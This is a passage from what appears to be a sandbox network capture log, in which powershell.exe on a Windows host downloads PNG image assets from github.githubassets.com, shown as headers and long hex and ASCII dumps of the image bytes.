2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b8 00 00 03 66 08 03 00 00 00 ce e8 c2 b5 00 00 02 eb 50 4c 54 45 00 00 00 13 13 13 2c 2c 2c 09 09 09 0f 0f 0f 0c 0c 0c 22 22 22 07 07 07 06 06 06 01 01 01 01 01 01 05 05 05 03 03 03 01 01 01 00 00 00 04 04 04 00 00 00 03 03 03 1e 1e 1e 00 00 00 15 15 15 06 06 06 01 01 01 00 00 00 01 01 01 04 04 04 03 03 03 01 01 01 01 01 01 01 01 01 01 01 01 02 02 02 01 01 01 09 09 09 01 01 01 02 02 02 00 00 00 02 02 02 04 04 04 01 01 01 01 01 01 01 01 01 01 01 01 03 03 03 00 00 00 00 00 00 05 05 05 01 01 01 01 01 01 01 01 01 01 01 01 29 29 29 02 02 02 01 01 01 01 01 01 20 20 20 02 02 02 01 01 01 01 01 01 00 00 00 00 00 00 24 24 24 00 00 00 1e 1e 1f 25 25 25 17 17 17 12 12 12 04 04 04 1b 1b 1b 2c 30 33 29 2e 31 27 Data Ascii: PNGIHDRfPLTE,,,"""))) $$$%%%,03).1'
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: dc 11 e1 e6 02 e6 fc 26 e8 6b 73 b7 ba 6a d8 17 d7 e9 f8 6a a2 d5 dd 9d 21 9a 48 27 14 01 24 ec 0e 1b 2c 4b 6d 44 e0 e8 a5 24 16 82 de 91 e2 e6 8b 4e f6 e6 53 4e 46 3a c9 c9 ff e4 bf 63 fe d7 e6 b8 45 fc f3 42 cd 86 ef e4 0c a1 ab 7c 92 a8 e1 5d 9d bf 57 15 bb d6 fd ee 81 d4 d2 fd ae ed 62 d6 54 aa 24 c9 02 38 a9 04 b9 ba 65 9e 6e b1 cc b9 34 c4 03 65 41 b7 08 1f 10 c5 39 6c 6d 5b b6 0a 43 7c 29 0d 32 c2 69 46 15 4f fe 5c c1 9f fc 4f fe bb e4 7f 6d 8f 3b ae 1a ef 07 e7 40 12 51 6a af 51 0c 65 72 5f 29 d0 48 6e a9 47 4a 0a cc d9 a6 51 dc 28 d1 80 ae 5e 0a a9 1b 65 c5 62 d0 89 91 96 6e 94 4c 09 8e c4 5e 11 98 cd a0 5a d3 d8 1e cb 21 91 e2 39 19 cc 71 69 27 a3 b8 93 ff c9 7f e7 fc af fd f1 be 5f f9 1b ac de d7 9d 6b e5 ed 5a 8f a8 41 4e 01 ca a4 26 0e a9 05 Data Ascii: &ksjj!H'$,KmD$NSNF:cEB\|]WbT$8en4eA9lm[C\|)2iFO\Om;@QjQer_)HnGJQ(^ebnL^Z!9qi'_kZAN&
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: b9 7a c1 29 b8 54 48 41 7c 53 c1 e8 43 71 1a 88 8e 9f 11 ab 19 43 4d 5b 86 20 2e 5d 80 b5 20 94 72 62 08 c4 c8 fc 33 ff c9 f2 5f 26 00 7f 23 49 0b 5c 6d 75 8b dd 7d f4 3b e2 76 bf 2e c2 3b 0c e6 f0 f3 ac 40 3b 01 9c 38 a7 44 a6 a0 46 2a d2 12 1b 9c 92 ba e3 ca 86 ce 3a bd 46 87 70 c8 45 1a 93 7d 0e aa 97 18 d3 23 f3 cf fc e7 cc 7f f9 7c ac f6 d1 cd 16 bb cb ae 6c 3d a4 b7 78 fc 3a bc 1d ac e2 69 c6 d2 84 ee f1 84 34 6a 3e 11 4f 2b 15 b8 a1 e9 32 0e 52 3c 09 67 ac 18 2f 68 40 21 a2 22 21 38 f1 da 20 ea 4a 1c 04 11 4d e0 b2 2b 38 ac b9 15 af d4 50 5e a6 cc 3f f3 9f 21 ff 65 06 ac 0e ec 5b b3 be 36 d4 da 1c e2 bd 56 b1 22 c4 cb f2 74 d7 64 88 a3 5a e5 61 6d 86 0d fe 18 e9 f0 95 71 80 c7 31 72 39 e4 24 8d 33 1f 52 46 4f 44 18 40 77 64 fe 99 ff 44 f9 2f 9f 0f Data Ascii: z)THA\|SCqCM[ .] rb3_&#I\mu};v.;@;8DF*:FpE}#\|l=x:i4j>O+2R<g/h@!"!8 JM+8P^?!e[6V"tdZamq1r9$3RFOD@wdD/
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 81 36 93 6f e5 5f f9 1f 25 ff b6 28 6e 40 fa 4e 75 7c 96 3a df 4e 64 71 cb 6f 25 ce c3 d6 d5 8a d6 3c 64 9d 32 92 f4 88 b4 0f 7c fb 01 e7 3f 08 31 25 a8 c2 56 0c d8 9d 2a 94 b3 9d 8a 78 cc 8e 97 f1 37 e2 54 fe 95 ff 81 f2 6f 8b 22 46 ad 20 fe 24 04 77 14 f3 ce 5b 9a 6f b1 83 8f ee 21 6a 31 9e a9 56 be d8 1e a3 3e c5 a3 75 97 c1 a9 89 76 48 e1 9a 61 c2 8c 0a a7 04 a9 e7 3a 80 b0 6e 43 80 00 6a 98 93 aa cd 2e 8a 3b 7b a8 61 81 2c 52 b3 2e 41 3a 2a ff ca ff 20 f9 b7 25 91 1f 84 b0 09 d7 18 b7 34 df d2 75 62 ba 4a d4 c8 a5 85 f8 34 d7 4a 73 d9 c7 09 df 39 3b f9 2e a5 c3 34 c6 9a 0d d1 64 97 f0 72 26 17 1c 54 f4 02 bf f8 11 0b 9d 38 84 60 08 a6 30 b4 ef 8d f2 c3 f9 bb 2a 86 5e 92 1a 77 09 3e 57 06 95 7f e5 7f 94 fc db 92 18 5b 70 d9 e1 6f 28 c6 0a 57 7e a9 7a Data Ascii: 6o_%(n@Nu\|:Ndqo%<d2\|?1%Vx7To"F $w[o!j1V>uvHa:nCj.;{a,R.A: %4ubJ4Js9;.4dr&T8`0*^w>W[po(W~z
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 08 ca d2 20 a3 50 2f 04 72 f8 3f fc df 94 ff d3 ca a0 85 10 47 7c fa d5 c1 1b 8a 65 1f 1b de 4f 24 6e f9 ac 3c 0b 4e db f2 07 06 89 be ce e5 20 6c 39 e8 f6 72 eb 2a 6e 5a 7e 73 93 89 1d 14 1d c1 85 44 d1 0f 54 55 a1 d5 96 c4 49 14 d1 40 c6 e1 27 1a 29 93 6d 14 44 50 04 88 c0 a1 44 02 19 13 f7 f0 ba 86 ff c3 ff 0d f9 3f ad 0a ed 79 62 84 ad 5b f3 37 ab cb 04 57 79 af fa 11 71 cb 77 37 ad b3 5b 75 90 58 a3 56 1d 4d b7 38 6f 79 de f0 8f 76 7c 8c fc a3 1d 15 37 fc 2a 09 a4 fe 4b 8a a5 a0 a8 49 c2 49 d1 85 1c ae 09 bf d7 23 85 90 61 71 a9 49 aa aa ba 98 e0 c2 47 06 1b 6a f8 3f fc df 8e ff d3 9a 70 64 87 3a 5c be f0 74 b7 6b bb 07 d6 37 7d 72 7e eb 7e cc 6f 39 1e 94 c0 e5 51 8b de d6 e7 18 22 6a 78 c8 c8 50 7d db 1b ee 6f e0 2a cf ab cc af fc b8 a2 00 e5 09 44 Data Ascii: P/r?G\|eO$n<N l9rnZ~sDTUI@')mDPD?yb[7Wyqw7[uXVM8oyv\|7KII#aqIGj?pd:\tk7}r~~o9Q"jxP}o*D
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 86 f7 69 5d 82 0b 3f ad fd bd 89 d2 8a 67 98 cf a6 d1 42 c1 89 bd 3c 1c fe 0f ff 37 e4 ff b4 22 f8 43 c5 89 d8 a5 c5 10 d9 e1 62 11 17 6f 57 b3 97 8d 81 c0 95 cf 13 3f ff 68 61 eb 38 96 6e 31 b9 c5 83 c4 32 42 a4 47 da c2 7c fe ad 12 d7 91 40 76 f8 56 79 7b 55 b9 56 95 14 19 f5 0d 32 92 34 fb cd 4e b4 3a cb 22 65 fe 3a b3 5e 22 60 6d 1f 6d 4a a0 8b a3 d4 81 0b cf 6b 32 0c ff 87 ff 7f eb 3f f8 1f fe 4f 6b c2 fc 48 31 96 42 d8 41 e0 ba 17 60 d1 7c 59 c3 c5 52 08 76 df fa 9c e3 44 f5 b7 22 6e d1 dd a2 b7 55 a3 56 06 2c bf a7 dc b8 f3 6f 3d 8c ff 5b ee f9 45 66 e2 05 89 b2 89 8d f2 a3 af 7a ee d5 ce 4d c5 13 e4 6a 47 06 29 89 bc 40 3f 92 65 70 21 e4 c5 be 9b e8 95 11 27 7d 3e fc 1f fe 6f c3 ff 69 45 38 72 d4 8f 64 3c 2c 3b 08 b2 9d 0d 8b 21 88 5b a5 c3 a5 b8 Data Ascii: i]?gB<7"CboW?ha8n12BG\|@vVy{UV24N:"e:^"`mmJk2?OkH1BA`\|YRvD"nUV,o=[EfzMjG)@?ep!'}>oiE8rd<,;![
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: e6 9b 97 73 be ad 0c a1 e8 53 96 3e 65 7a 75 5e 3e 50 23 c5 fa 45 d1 e2 20 f0 6f 65 bd 45 e8 16 41 5b 58 5b 1a 3c 3f 11 1e 91 f6 50 bd 2f 89 22 e2 de cd 21 91 90 db 1f 8f ba 87 f1 8f b5 bf 50 34 08 f9 43 fe 19 c9 9f c6 01 5b fc 14 83 8b fd 7d ba 60 08 8d 14 f1 70 31 bd 3a ab 2d 42 21 18 28 9a 63 5e e3 44 ec 2d 06 89 f2 6b 99 e1 c9 9b 2b 7f 19 f9 42 52 4e 23 02 2a 44 80 c5 b7 82 e0 e0 4b 7d 57 ba ab f2 5d cf 9c 5c 69 29 2e 2e 54 41 e5 a0 31 2d c4 af 2a b5 0a f9 67 2e ff a3 ff 49 fe 34 0e d8 0c 56 8a 0b 83 cb ad 0c e1 5d f3 ef 50 5c 36 db a7 0e 14 f1 cc 7f c1 de 7a 23 bd c5 30 31 03 b5 65 c6 96 d3 fb 81 40 60 46 48 c3 60 51 30 6d a9 78 e0 56 86 c0 e2 f2 2b 71 b5 4d f7 fd 6c 9f ac b6 de 5a 24 04 13 ab 09 e0 ba b8 c6 bd e5 9c f2 f8 b5 0c 28 f1 1e c7 76 39 26 Data Ascii: sS>ezu^>P#E oeEA[X[<?P/"!P4C[}`p1:-B!(c^D-k+BRN#DK}W]\i)..TA1-g.I4V]P\6z#01e@`FH`Q0mxV+qMlZ$(v9&
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 09 00 2c 05 17 b9 05 20 19 0b ae 29 6e 19 27 02 b0 15 5c 9b 37 e6 e5 01 d8 0a ae 29 6c 13 00 98 0a ae c7 c0 0c 17 80 64 2b b8 36 81 91 22 80 64 2b b8 42 60 6a 1e 40 32 15 5c 3e 84 04 00 96 82 cb 0f bb 5d 02 00 4b c1 e5 08 2e 00 85 a5 e0 1a 08 2e 00 85 a5 e0 f2 23 c1 05 20 b3 14 5c c3 44 70 01 c8 2c 05 97 bb 26 b8 00 64 96 82 6b a4 c7 05 a0 30 14 5c de 5d 11 5c 00 32 33 c1 e5 fd 38 31 39 0f a0 b0 13 5c c3 30 de 10 5c c0 27 3b e7 af e2 b8 15 85 71 af 67 76 32 5d c0 24 4d ba 3c c3 14 a9 96 cc 23 24 29 7c 6d 63 14 30 26 8d 16 04 1a 77 76 e1 0c 08 04 23 30 c8 ce 0b 28 b5 64 f5 83 1b 83 1b 1b 02 6e b6 da d7 98 49 ca 9c 73 f4 39 57 f1 b5 c7 f6 ac 87 dd 31 fa 16 56 f7 ef b9 ba 02 fd f6 dc a3 e3 2d 44 7a 35 e0 2a 95 2f 2a d7 a7 0a ae a4 e9 c6 b3 de 5e 9a dd 35 9a Data Ascii: , )n'\7)ld+6"d+B`j@2\>]K..# \Dp,&dk0\]\23819\0\';qgv2]$M<#$)\|mc0&wv#0(dnIs9W1V-Dz5/^5
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 75 70 39 b4 b5 c0 71 a4 ab 4b 0f c1 93 bd c6 b8 b1 b6 a7 12 2b c0 8a 50 ab 16 d0 28 9b 37 2c f5 90 0a f2 84 5a 00 17 5d fb 8e 0c 08 5f 4b 06 5d a1 cf 07 ae 37 59 de 7c f9 e2 ea ab ef 76 79 5c 43 c4 c9 67 23 f8 37 53 00 4b 7d 60 0c 81 42 0b 2e cc a9 30 56 42 b6 a1 ab 32 80 a5 8a c1 85 86 0f e0 52 ca 03 31 40 c0 f5 9e ae ae 92 1e 99 a1 6d a6 58 8d 69 f9 0f f7 2c 01 bf 4d 31 ae 46 af 61 82 eb b7 81 28 92 ae ee 20 d3 fc 41 fc 2d d1 78 fd ac e8 2a 2d 84 bb a5 10 88 7b d1 59 bd ce 31 5e f7 95 bb 00 92 21 cc 44 17 bc d4 0e 9c 14 7e bb 1d 99 20 76 c4 92 23 cd 78 6b 1d 4c d0 c0 08 f3 4b 93 00 30 f6 5c 4c 70 d9 8e d3 20 b2 90 09 c8 04 17 b6 92 04 b4 12 ec 0a 51 72 3b 41 33 59 37 c0 85 18 17 2c b9 52 68 0b 6c e5 e4 8a 81 5c 85 bc 30 b4 b0 d3 00 b3 62 d4 d9 a0 34 74 Data Ascii: up9qK+P(7,Z]_K]7Y\|vy\Cg#7SK}`B.0VB2R1@mXi,M1Fa( A-x*-{Y1^!D~ v#xkLK0\Lp Qr;A3Y7,Rhl\0b4t
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 0f 1a 52 7d 44 c4 6b cc 8c 32 c1 65 26 a0 3a 20 01 b2 aa 38 73 c9 e3 1a b2 07 0e 07 97 4e 6a f0 c3 8e 32 c1 a5 4f a7 c9 7f 90 ec 84 3e d7 91 87 c5 b6 61 1c d2 89 9f b1 76 86 3e 11 5c 7a 7e 92 71 06 f9 58 28 78 59 57 97 f7 e0 f9 3e 6f 69 dd 15 eb ae cd b7 74 06 1b 37 c8 15 f3 d8 4f 2c 74 62 2a bd 80 ca e5 32 fd 52 f1 ab af 7e dc 01 2e 82 0f 32 e7 eb c8 9c 17 ec 44 93 c9 62 24 49 ed c8 72 1f 46 d1 a8 0e 60 cd b8 40 71 b0 39 5d 17 6a 03 b8 a6 62 93 67 2c b3 ae 88 4d 4a 84 8b eb eb 36 ab 0a f9 af f3 31 2f 0a 47 2b 15 1b 13 a5 b5 f1 27 3f c4 a6 e9 f4 76 4e a4 02 bf 1e 1f e2 bf e8 12 23 46 7f 3b 7d d8 f1 93 1f 9f 93 c4 b3 40 b3 ad 24 70 13 f2 2e 1d ba 7a ea 60 70 49 47 c0 d7 04 19 62 26 b8 42 b6 cc ea 64 4b 27 7c e5 7a 9b 78 c5 b7 d2 aa ad bd e8 b1 74 64 23 43 Data Ascii: R}Dk2e&: 8sNj2O>av>\z~qX(xYW>oit7O,tb*2R~.2Db$IrF`@q9]jbg,MJ61/G+'?vN#F;}@$p.z`pIGb&BdK'\|zxtd#C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49804	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:51 UTC	369	OUT	GET /assets/illu-code-scanning-fc9dfb212aa3.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:51 UTC	659	IN	HTTP/1.1 200 OK Connection: close Content-Length: 70105 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D597542E77" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2363090 Date: Mon, 30 Sep 2024 13:50:51 GMT X-Served-By: cache-iad-kiad7000123-IAD, cache-ewr-kewr1740034-EWR X-Cache: HIT, HIT X-Cache-Hits: 81, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 8337e990b096964f029a0b0a49ba119f7994a1a6
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b8 00 00 03 3e 08 03 00 00 00 2e 35 48 2f 00 00 02 ee 50 4c 54 45 00 00 00 0b 0b 0b 09 09 09 09 09 09 10 10 10 13 13 13 30 30 30 05 05 05 05 05 05 00 00 00 06 06 06 06 06 06 01 01 01 04 04 04 02 02 02 07 07 07 01 01 01 03 03 03 08 08 08 01 01 01 06 06 06 02 02 02 03 03 03 03 03 03 01 01 01 03 03 03 02 02 02 02 02 02 02 02 02 01 01 01 03 03 03 00 00 00 01 01 01 04 04 04 4c 4c 4c 37 37 37 62 62 62 0f 0f 0f 14 14 14 13 13 13 18 18 18 3b 42 4b 3d 44 4d 18 19 19 24 24 24 40 47 51 1c 1c 1c 42 4b 54 35 35 35 42 49 52 29 2a 2a 13 13 14 3e 45 4e 36 3d 43 37 3d 44 40 46 4f 30 36 3c 16 16 16 2f 35 3b 1d 1e 1f 0c 0c 0c 26 2b 30 12 12 13 0d 0d 0d 08 08 08 27 2c 31 41 49 52 44 4b 56 43 4b 55 41 49 52 24 29 2f 50 Data Ascii: PNGIHDR>.5H/PLTE000LLL777bbb;BK=DM$$$@GQBKT555BIR)**>EN6=C7=D@FO06</5;&+0',1AIRDKVCKUAIR$)/P
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 9c 13 50 53 55 2f 01 33 d1 69 2c ff e5 ff 09 fe a0 d8 95 56 ad 30 cf 81 f3 64 b8 af 8d cf cf 5a 9c 37 71 1d 55 ba 03 69 78 1d be 24 26 08 b4 0f e5 71 d8 80 ab 84 bb 7d 0f 60 b4 a7 22 fe 7b 46 96 5f 61 dc 1a 4d 0d 7d bf 4f 81 b6 8c e5 bf fc df c2 df c0 1c da 3a 8f 4b 9b 97 5b 10 88 7d 73 7c 78 d6 62 5d 12 78 b5 54 5e ee af 96 f5 91 79 e0 0c 96 bb a3 e3 1a bf 6a d4 40 42 c9 4a ef 0c e7 4e 9a 8b 52 70 82 f5 2e 97 a2 e1 4e ba d4 46 c9 4e 31 91 21 38 8e 8b 89 18 2e ff e5 ff 41 fe 85 fb d9 aa b7 e4 f9 8d 21 b8 27 97 e1 5f 83 01 32 90 48 30 f2 00 fc b7 d4 da 37 b2 86 14 7b ac 7a 1b 8e e1 d8 c0 39 2d 06 53 61 97 ec 57 2e 07 5e 76 36 dc d1 79 52 b5 85 14 bc ef 52 85 8d e5 ff 87 bd b3 61 6e 13 86 c1 f0 42 32 68 92 eb e5 da ff ff 63 87 be fc 18 9b 1e db 4a 7b bd a0 Data Ascii: PSU/3i,V0dZ7qUix$&q}`"{F_aM}O:K[}s\|xb]xT^yj@BJNRp.NFN1!8.A!'_2H07{z9-SaW.^v6yRRanB2hcJ{
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 2b 5d bf 9e 1a fa 25 1f 5f 96 6f be d8 73 32 d4 eb f0 4d c4 ea af 92 bb 93 7b 29 28 d1 3b 0d f9 5d 4a 13 29 2b 54 19 ab 08 4f 37 93 63 d8 76 e9 81 11 5a 0a 30 24 cd 9c 75 81 d6 0d 48 40 7d 40 d0 fa 83 1b e9 7f fa ff 69 ff 43 0c d6 6e 1d e3 59 23 b1 cb 33 51 0f 72 b7 a8 cf 20 46 de 10 b8 1a b5 a6 7a a2 d5 0f e0 5d 10 d4 ea b2 03 24 28 1a 25 97 d6 0d aa 30 05 57 28 96 e0 cc 00 52 fa c2 c6 21 30 7d 8b 02 49 dd 61 ed a4 f1 56 88 1b 49 ff d3 ff 2f f1 ff 83 e8 55 ad 78 11 b8 2e cc b9 ec 27 39 9e fa 4d 37 a3 e2 ca 8b 02 09 5c 9e 97 6c f9 7c cc b3 88 5b f5 18 14 fe 5d 08 3c 25 2d 11 f6 40 f7 af 78 a7 5b af eb 18 4e 1e 05 40 d2 b9 d2 09 bc 48 ff d3 ff 9d fc ef c3 5d 1f bd c8 41 ab e7 5c 17 83 07 ae eb f5 79 13 51 35 24 5f bb b8 15 c9 a6 91 ae c5 02 25 21 4b 49 8d Data Ascii: +]%_os2M{)(;]J)+TO7cvZ0$uH@}@iCnY#3Qr Fz]$(%0W(R!0}IaVI/Ux.'9M7\l\|[]<%-@x[N@H]A\yQ5$_%!KI
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: cd a4 42 30 f6 dc 95 1f c9 28 52 8a ee c6 5a 32 1d a8 fc ff f9 3f be 70 fe af 6b fe 8f 48 30 a4 17 8b 46 94 2e 74 ae 5a 2c 86 27 2a fe f3 5b d2 b9 76 b7 c1 ce 5a dd c2 7f 0b ab fc d7 b2 c7 3b 10 5a fa 4f ea 50 f3 f4 ec f8 66 b7 47 df be e5 13 65 1e 7a 9e f0 39 ea 20 b2 48 cd 32 10 55 16 89 fc 40 46 55 96 aa 41 e9 25 af c8 28 c7 a0 54 d2 4d 84 a2 57 49 65 0e 4e ec 50 2c de 68 54 6c 24 2b 93 ff c9 ff 85 f8 37 48 a8 a1 61 b6 8a 57 a9 5d 28 5d 98 e8 cb 89 9e ad 45 17 5c 1b fa 5e d9 b2 50 bc c1 63 fe cd ca 30 9f 2e 10 5a 23 da 8d d8 f2 25 ba 64 56 33 ed 11 9e 06 a4 a7 c9 fe b0 d5 c3 f3 e9 1e eb 6f eb 58 a1 87 68 84 da 9e c0 e4 7f f2 7f 41 fe 4b 60 d6 82 b3 91 5d 68 5d 77 61 a4 ff 80 5f 44 e3 89 da 1c e5 7c bb 9d 6f fe 84 d8 ba 5d c9 2d 36 14 3f 18 d2 2a 9f 5b Data Ascii: B0(RZ2?pkH0F.tZ,'[vZ;ZOPfGez9 H2U@FUA%(TMWIeNP,hTl$+7HaW](]E\^Pc0.Z#%dV3oXhAK`]h]wa_D\|o]-6?[
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: c9 61 9e ed c4 6f f9 13 ad da 46 4c a1 05 fe 62 42 3e 7e 7e d9 98 fc bf 6c 7c 3c 47 78 a5 d2 85 e4 7a c6 a1 2b 8f 8a 68 7e b3 28 95 0b eb fc ee ea 05 57 d8 e6 39 88 8b 63 e6 25 b8 96 1d c5 72 df 5a 7e dd a3 65 a2 6c 5b 89 f5 ac 7c b4 1b 44 41 9b 8f 2c 34 80 86 14 f9 05 39 29 40 79 74 4e 3d 85 76 8d d4 43 d7 bc 00 ef 48 48 a9 45 4a 31 00 19 c3 e4 7f f2 7f 16 ff 62 05 2c 82 eb 53 b8 7b c9 2f 15 9d cb 25 17 5b 8b 8d ca 25 f7 79 29 5c 86 eb ff 36 6c ca ad fe d7 3e 8d 2f 44 9e 07 51 76 79 b9 ca 97 71 4b 1b be 8d d4 ca e9 9c 98 98 b8 24 7a cd 2b d6 8b f8 46 f8 6e d9 e1 50 4e 11 b2 72 19 70 42 c5 ca e5 0a d7 d5 6f 2b a2 6f f1 1d c5 77 c3 4a f1 31 4c f3 b8 41 3c c5 76 62 58 e5 6b cf 78 0a ad 89 89 7f 89 41 ed 72 ad 4b 1e a9 e9 17 81 e4 da ff 62 ef bc 71 a8 88 81 Data Ascii: aoFLbB>~~l\|<Gxz+h~(W9c%rZ~el[\|DA,49)@ytN=vCHHEJ1b,S{/%[%y)\6l>/DQvyqK$z+FnPNrpBo+owJ1LA<vbXkxArKbq
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 7a 4c a4 96 38 fb 91 92 1a b1 9e 5b 76 b2 98 9b d8 28 38 7e 24 17 77 d2 9f f4 6f 83 fe 57 df cb 7d e1 5b f4 15 af ec db 6d e1 54 d8 ab 8b 9e 94 d1 9c 60 fd b8 bc a7 59 cc a5 08 cb af 78 ad 71 63 9b 6b fc 60 a2 19 dc 4b 16 da 09 8f a5 a1 56 0f a7 a6 ae 20 33 71 90 a3 fb 06 c9 c4 d3 59 20 89 92 fe a4 7f 2b f4 7f 2e d7 6d f2 bc 6f 26 a8 9c 6b 37 fd 4c 2e 5f 61 7d d9 18 d7 15 e1 5c cf ca 07 7b dd 20 1a 6e ed 37 d0 28 bc fb fe cf 60 cc 68 a6 a5 e3 b3 f1 92 68 ba ae 96 f6 ff 66 68 fa a1 52 1e 07 e0 89 1a f9 4a a8 3d e9 4f fa b7 42 ff bb f2 d4 67 72 a1 9d df 09 96 03 cb b4 33 b9 ae d6 6b 59 a2 ab 78 45 bb 8a b7 ca d7 9e 71 c3 fd bd 75 fd 72 90 58 d2 d0 28 91 85 d0 75 36 2f 0c 07 5e 05 4d 12 ed 4a 25 ab 06 a5 4e 1e d3 7e 6e ac 7b 01 51 16 0f c3 b7 a3 d9 93 fe a4 Data Ascii: zL8[v(8~$woW}[mT`Yxqck`KV 3qY +.mo&k7L._a}\{ n7(`hhfhRJ=OBgr3kYxEqurX(u6/^MJ%N~n{Q
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: 5a 05 8b 50 80 f4 7d 94 13 c2 82 72 3a bc 47 c4 34 94 cb a7 69 e7 1e a1 42 dc 79 c2 9f f0 af 3f 7e cf 0b 8a eb f5 2b 21 1e 26 f8 42 69 53 e8 6d d6 ce 7d d6 bd 4d 53 5c 7d 7f fc e9 46 f0 71 81 9d 30 22 04 85 f8 96 b3 72 67 92 45 e8 45 bc 14 b2 37 be 7c 69 0e e1 1b 33 67 0a 11 21 1d d7 a4 39 4e 1a 8a 4f 93 0c e7 e5 60 22 2f e1 4f f8 d7 11 3f b5 0e ec 52 91 77 94 75 6d 9b 75 b9 5f b1 ad 7b 7e 44 db 96 16 97 d2 73 c1 24 3e ae db a3 c8 02 85 6c 8c 73 92 8c 39 63 6a 71 4b 5a 11 a5 3a a3 46 c8 8d 46 90 bd 05 7c 11 ab 35 6b 29 24 cb 34 65 9d 23 c2 c9 18 8f ea f5 93 bd 4b 29 83 23 e0 f7 6c 63 26 fc 09 ff da e0 2f e3 14 17 e7 fc 4e f9 5a 58 de c4 df b1 9b e7 c5 70 69 e7 cf 8a ba c1 5a ff 3a fe dc 66 73 ce df 6d 22 b3 46 d4 46 9a 6c d8 50 5e 89 9c 19 45 bc 26 0b e4 Data Ascii: ZP}r:G4iBy?~+!&BiSm}MS\}Fq0"rgEE7\|i3g!9NO`"/O?Rwumu_{~Ds$>ls9cjqKZ:FF\|5k)$4e#K)#lc&/NZXpiZ:fsm"FFlP^E&
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: aa 5a d5 52 96 67 49 ba 94 c4 e8 4c 8e b4 31 1a 17 9f 1a e2 f7 46 ca 66 9b e1 57 ce 83 f1 f3 bf d0 04 bf f3 1b e1 47 43 50 25 e1 ff b7 f8 41 78 b7 7d a8 8a 6b fb 9d ba e7 ed 71 82 fe 2a fe da 93 e7 db f5 96 32 f1 cc f7 6c 9f 22 fb 7d 5e 06 8b 6b e9 b7 0c 8f 21 8d 2b 51 34 43 1b a9 89 a8 b0 30 8c 6a 71 f9 30 8b 6a 1b 0e 6f 5c 82 16 8e 6e 84 e3 c2 31 19 5c 88 bd 25 81 99 5e d3 41 4d fe 1e 67 ba 84 2f f6 f0 c0 73 98 4b 81 4d 41 cb 36 c6 41 51 8c c7 57 63 d1 5d 27 96 eb 39 77 cd 01 e3 ef 33 69 9d eb f5 a8 a4 e1 b8 18 78 ca 82 7d 09 3c 0e 7e 87 45 8a 09 6c c7 86 f8 f3 87 e3 af 83 6b 8a 3f 6f 88 df 91 81 3f 4f f8 d7 03 7f c9 53 8b eb 83 59 5c e5 53 b9 ba b6 61 71 2f 28 2e db f8 93 b5 cb cb a5 27 ec 4f 86 d8 0a b7 cd bf 34 c5 c5 cf bb f2 65 78 5d a0 d7 a2 a5 4e Data Ascii: ZRgIL1FfWGCP%Ax}kq*2l"}^k!+Q4C0jq0jo\n1\%^AMg/sKMA6AQWc]'9w3ix}<~Elk?o?OSY\Saq/(.'O4ex]N
2024-09-30 13:50:51 UTC	1378	IN	Data Raw: f8 43 e1 a0 10 05 69 d5 13 71 36 1e 48 dd 00 7b 29 51 aa 1a 49 35 98 4f 46 2b 75 26 8d ea 52 47 ed a7 2a 46 2a ad eb 2c 59 77 34 93 1e fa 05 9a 3a 7a 55 8a 90 9c 97 cc 2c 1e cb f0 e8 6b 52 15 08 87 48 97 95 f5 e2 b3 06 71 c5 cc a8 2e fa 43 6d 1a 8c 68 8b 58 61 42 05 11 45 bd b7 d4 9f 02 fb f4 35 b6 1a b1 80 d5 d8 5d 1f d2 98 66 c8 8e 54 ff e4 2f c0 e9 da 08 fe 71 39 f5 df c8 f4 7d 28 06 d2 ba d5 ff 8e f5 27 e5 d2 eb 45 d7 5e f5 db cb e7 60 ae 1f e0 e6 32 93 cb 4e 2c ca 05 11 7e 62 f1 54 d7 8a f7 c0 3f 2f 13 14 da 52 c4 db 7d 36 89 8b bf 20 a4 6f 93 44 2b 35 0b 0b 23 af cb a1 ec 28 25 2e 60 b8 14 99 63 8a 12 58 67 67 b6 a3 c7 52 49 0f 14 c9 25 12 66 e3 f1 38 88 25 f6 5e 45 00 a4 cd bd 3b 94 50 30 a8 83 f5 05 aa 5a 5d 39 16 ea ba 2f ed b0 80 4c 25 aa aa be Data Ascii: Ciq6H{)QI5OF+u&RGF,Yw4:zU,kRHq.CmhXaBE5]fT/q9}('E^`2N,~bT?/R}6 oD+5#(%.`cXggRI%f8%^E;P0Z]9/L%
